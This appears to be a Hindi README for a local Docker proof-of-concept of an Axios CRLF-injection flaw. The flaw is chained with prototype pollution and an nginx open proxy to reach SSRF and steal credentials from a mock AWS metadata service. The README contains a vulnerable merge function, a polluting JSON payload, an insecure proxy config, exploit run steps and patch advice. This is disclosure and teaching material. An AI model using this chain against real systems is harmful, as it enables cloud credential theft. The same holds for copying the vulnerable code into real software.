
प्रूफ-ऑफ-कॉन्सेप्ट जो Axios में CRLF इंजेक्शन और HTTP रिक्वेस्ट स्मगलिंग का प्रदर्शन करता है, प्रोटोटाइप पॉल्यूशन को चेन करके SSRF प्राप्त करता है और IMDS जैसी आंतरिक सेवाओं तक पहुंच बनाता है।
Axios HTTP क्लाइंट (>=1.0.0 <1.15.0, <0.31.0) के AxiosHeaders.set() में हेडर मान के भीतर
\r\n का सत्यापन न होने के कारण उत्पन्न होने वाली CRLF इंजेक्शन भेद्यता।
यदि हमलावर अलग Prototype Pollution (lodash, qs आदि) के साथ संयोजन करता है या सीधे हेडर में CRLF इंजेक्ट करता है, तो nginx open proxy जैसी मध्यवर्ती परत के माध्यम से किसी भी आंतरिक सर्वर तक SSRF संभव है।
| आइटम | विवरण |
|---|
| CVSS | 9.9 (Critical) |
| प्रभावित संस्करण | axios >=1.0.0 <1.15.0, axios <0.31.0 |
| पैच संस्करण | 1.15.0, 0.31.0 |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ द्वारा केवल अंतिम CRLF हटाया जाता है
↑ मान के बीच का \r\n वैसे ही पारित हो जाता है
परिणामस्वरूप, हेडर मान में \r\n\r\nGET /admin HTTP/1.1\r\n... डालने पर
TCP स्ट्रीम में दूसरा HTTP अनुरोध वैसे ही शामिल हो जाता है।
JavaScript में सभी ऑब्जेक्ट Object.prototype को इनहेरिट करते हैं। Prototype Pollution इस साझा प्रोटोटाइप को ही दूषित करके बाद में बनने वाले सभी ऑब्जेक्ट्स को प्रभावित करने वाला हमला है।
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← घोषित नहीं किया गया, फिर भी मौजूद
कमजोर रिकर्सिव merge फ़ंक्शन (lodash < 4.17.21, qs आदि) जब "__proto__" कुंजी को विशेष रूप से संभालता नहीं है, तब यह उत्पन्न होता है।
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// key = "__proto__" होने पर:
// target["__proto__"] → Object.prototype लौटाता है
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → Object.prototype में सीधे प्रॉपर्टी इंजेक्ट होती है
} else {
target[key] = source[key];
}
}
}
// हमलावर JSON: __proto__ own property के रूप में पार्स होता है
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← दूषण सफल
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
ऐप कोड: const opts = {};
opts.headers → prototype chain → दूषित ऑब्जेक्ट लौटाता है
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← CRLF सत्यापन नहीं
↓
TCP स्ट्रीम में स्मगल किया गया अनुरोध शामिल
Object.prototype.headers को दूषित करने पर axios के आंतरिक schema ऑब्जेक्ट भी प्रभावित होते हैं।
assertOptions(config, schema) कॉल होने पर
schema['headers'] → prototype chain → दूषित ऑब्जेक्ट लौटाता है
validator(value) → ऑब्जेक्ट को फ़ंक्शन के रूप में कॉल → TypeError
वास्तविक हमले में दूषण की सीमा को सटीक रूप से नियंत्रित करना आवश्यक है, और व्यापक दूषण इच्छित हमले से पहले ही ऐप को क्रैश कर सकता है (DoS दुष्प्रभाव)।
[1] सीधे हेडर इंजेक्शन या Prototype Pollution (कमजोर merge लाइब्रेरी के माध्यम से)
↓
[2] axios CRLF युक्त मान को बिना सत्यापन के हेडर के रूप में सीरियलाइज़ करता है
↓
[3] raw net.Socket द्वारा TCP स्ट्रीम में लिखा जाता है
(Node.js का डिफ़ॉल्ट http मॉड्यूल रनटाइम पर रोकता है → custom adapter आवश्यक)
↓
[4] nginx (proxy_pass http://$http_host) 2 अनुरोधों के रूप में अलग पार्स करता है
↓
[5] स्मगल किए गए अनुरोध के Host हेडर के आधार पर दूसरे upstream की ओर रूटिंग (SSRF)
↓
[6] आंतरिक सर्वर (IMDS आदि) तक पहुँच → क्रेडेंशियल चोरी
| शर्त | विवरण |
|---|---|
| Node.js http मॉड्यूल बायपास | net.Socket आधारित custom adapter का उपयोग |
| nginx open proxy | proxy_pass http://$http_host सेटिंग |
ignore_invalid_headers on | असामान्य हेडर की अनुमति |
resolver निर्देश | डायनामिक hostname रिज़ॉल्यूशन संभव |
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ │
│ test-axios-adapter-*.js │
│ (raw net.Socket → nginx:8080) │
│ │
│ browser → exploit.html (3003) │
│ → relay (3004) → raw socket → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (future)
:3001 :8080 :80
:3003 (169.254.169.254 mock)
:3004
| पोर्ट | सेवा | भूमिका |
|---|---|---|
| 3001 | backend | HTTP अनुरोध प्राप्त करना / हेडर लॉगिंग |
| 3003 | backend | exploit.html स्टैटिक सर्वर |
| 3004 | backend | relay — browser POST → net.Socket रूपांतरण |
| 8080 | nginx | open proxy (proxy_pass http://$http_host) |
| 80 (आंतरिक) | imds | AWS IMDSv2 mock सर्वर |
# सभी कंटेनर बिल्ड और प्रारंभ
docker compose up --build
# Node.js परीक्षण (होस्ट पर चलाएँ)
npm install
# 1. बैकएंड सीधे — CRLF इंजेक्शन से 2 अनुरोध उत्पन्न
node poc/test-axios-adapter-backend.js
# 2. nginx के माध्यम से — स्मगल किया गया अनुरोध backend:3001 की ओर रूट होता है
node poc/test-axios-adapter-nginx.js
# 3. Prototype Pollution → CRLF Injection → SSRF श्रृंखला
node poc/test-prototype-pollution.js
# 4. ब्राउज़र — http://localhost:3003
# लक्ष्य चयन: बैकएंड सीधे / nginx के माध्यम से / nginx → IMDS (SSRF)
1. nginx → IMDS चुनकर Custom Adapter चलाएँ
2. स्मगल किया गया अनुरोध: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx host=imds की ओर रूट करता है → IMDSv2 mock सर्वर तक पहुँचाता है
4. imds कंटेनर लॉग: [!!!] क्रेडेंशियल चोरी सफल!
.
├── docker-compose.yml
├── Dockerfile.backend # backend + relay कंटेनर
├── Dockerfile.imds # IMDSv2 mock कंटेनर
├── package.json # [email protected] (कमजोर संस्करण पिन किया गया)
└── poc/
├── backend-server.js # HTTP सर्वर (3001), relay (3004), स्टैटिक सर्वर (3003)
├── mock-imds.js # AWS IMDSv2 mock (PUT /token, GET /credentials)
├── nginx-container.conf # open proxy सेटिंग
├── exploit.html # ब्राउज़र PoC (XHR vs Custom Adapter)
├── test-axios-adapter-backend.js # raw socket → backend सीधे
├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds
├── test-axios-no-adapter.js # मानक axios (Node.js रोकथाम सत्यापन हेतु)
└── test-prototype-pollution.js # Prototype Pollution → CRLF Injection श्रृंखला
resolver 127.0.0.11 valid=30s; # Docker आंतरिक DNS
location / {
proxy_pass http://$http_host; # Host हेडर आधारित डायनामिक रूटिंग = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # सामान्य अनुरोधों के लिए फिक्स्ड upstream
}
$http_host (पोर्ट सहित) को upstream के रूप में उपयोग किया जाता है, इसलिए स्मगल किए गए अनुरोध का Host हेडर
ही रूटिंग का गंतव्य बन जाता है।
npm install axios@^1.15.0
पैच (1.15.0) assertValidHeaderValue() पेश करता है जो CR/LF युक्त मानों को तुरंत अस्वीकार कर देता है।
अतिरिक्त सुरक्षा:
proxy_pass http://$http_host प्रतिबंधित करें → फिक्स्ड upstream का उपयोग करेंHttpTokens: required)